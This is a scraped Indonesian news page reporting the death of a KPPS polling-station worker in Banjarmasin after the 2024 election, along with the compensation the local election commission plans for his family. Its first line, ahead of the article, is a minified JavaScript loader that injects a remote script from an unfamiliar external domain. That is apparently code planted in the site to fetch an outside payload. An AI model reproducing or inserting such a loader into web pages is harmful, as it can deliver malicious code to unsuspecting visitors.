(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Pulang Sebelum Rampungkan Penghitungan Suara, Anggota KPPS Meninggal Dunia di Rumah


KANALKALIMANTAN.COM, BANJARMASIN – Seorang petugas Kelompok Penyelanggara Pemungutan Suara (KPPS) Pemilu 2024 di Kota Banjarmasin Provinsi Kalimantan Selatan (Kalsel) dikabarkan meninggal dunia.

Chandra Dinata (49) wafat setelah sempat melaksanakan tugas sebagai anggota KPPS di TPS 26 Kelurahan Karang Mekar, Kecamatan Banjarmasin Timur, Kota Banjarmasin.

Ketua Komisi Pemilihan Umum (KPU) Kota Banjarmasin Rusnailah membenarkan, meninggal dunia seorang anggota KPPS tersebut.

Ia mengatakan, almarhum Chandra Dinata tidak meninggal dunia saat bertugas di TPS, melainkan meninggal dunia di rumahnya beberapa hari setelah hari H pencoblosan.

Baca juga: Mantan Kadistan Balangan Divonis 4 Tahun Penjara, Tuntutan JPU 1 Tahun 6 Bulan

Namun, kata Rusnailah, saat masih bertugas di TPS pada sore hari pencoblosan itu, almarhum Chandra Dinata sempat mengeluh kepada Ketua KPPS dan mengatakan tidak dapat melanjutkan tugas melakukan penghitungan suara yang masih berlangsung di TPS.

“Awalnya memang kelelahan di tanggal 14 Februari sore, beliau melapor kepada Ketua KPPS bahwa tidak bisa melanjutkan tugas di TPS,” ujar Ketua KPU.

Lanjut Rusnailah, karena yang bersangkutan meninggal masih mengemban petugas KPPS, maka pihaknya berencana memberikan santunan kepada keluarga korban.

Ketua KPU Kota Banjarmasin, Rusnailah. Foto: wanda

Pemberian santunan terdiri dua macam, yaitu biaya pemakaman dan santunan kematian yang diberikan kepada keluarga almarhum dengan nilai mencapai Rp46 juta.

Baca juga: Taman Mawar Lansia Loktabat Utara Diresmikan, Tambahan Ruang Bermain Ramah Anak di Banjarbaru

“Biaya pemakaman Rp10 juta, santunan Rp36 juta,” katanya.

Pemberian santunan kematian itu mengacu pada Keputusan KPU Nomor 59 Tahun 2023.

Namun, kata Rusnailah, sebelum santunan diberikan, terlebih dahulu pihaknya membuat laporan ke KPU RI dan menganggarkannya.

“Kita buat laporannya dulu ke KPU RI dan juga menganggarkan dana santunannya,” ujarnya. “Tentunya administrasi juga harus lengkap,” sambungnya. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Risa

Recent Posts

Diserang Secara Personal, H Saidi Mansyur Tunjukkan Kedewasaan pada Debat Publik Kedua Cabup Banjar

KANALKALIMANTAN.COM, BANJARBARU - Pasangan Calon Bupati dan Calon Wakil Bupati Banjar nomor urut 01, H… Read More

3 jam ago

Kenakan Jaket Putih, H Saidi Mansyur dan H Said Idrus Jalani Debat Publik Kedua

KANALKALIMANTAN.COM, MARTAPURA - Debat publik kedua calon bupati dan wakil bupati Kabupaten Banjar yang digelar… Read More

6 jam ago

Senam Bersama DWP Pemkab HSU Sambut HUT ke-25

KANALKALIMANTAN.COM, AMUNTAI - Ratusan ASN di lingkungan Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) mengikuti… Read More

6 jam ago

Debat Pilbup Balangan: Penajaman Visi Misi dan Program Kerja Paslon

KANALKALIMANTAN. COM, PARINGIN - Komisi Pemilihan Umum (KPU) Kabupaten Balangan menggelar debat terbuka kedua pasangan… Read More

10 jam ago

Laporan Dugaan Pelanggaran Cabup Banjar Tamliha-Habib, Begini Progresnya di Bawaslu Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Suasana di kantor Bawaslu Provinsi Kalsel pada Jumat (22/11/2024) siang terpantau seperti… Read More

13 jam ago

Pjs Wali Kota Banjarbaru Serahkan SK Kenaikan Pangkat PNS

KANALKALIMANTAN.COM, BANJARBARU - Pemko Banjarbaru menyelenggarakan acara penyerahan SK kenaikan pangkat PNS periode 1 Desember… Read More

15 jam ago

This website uses cookies.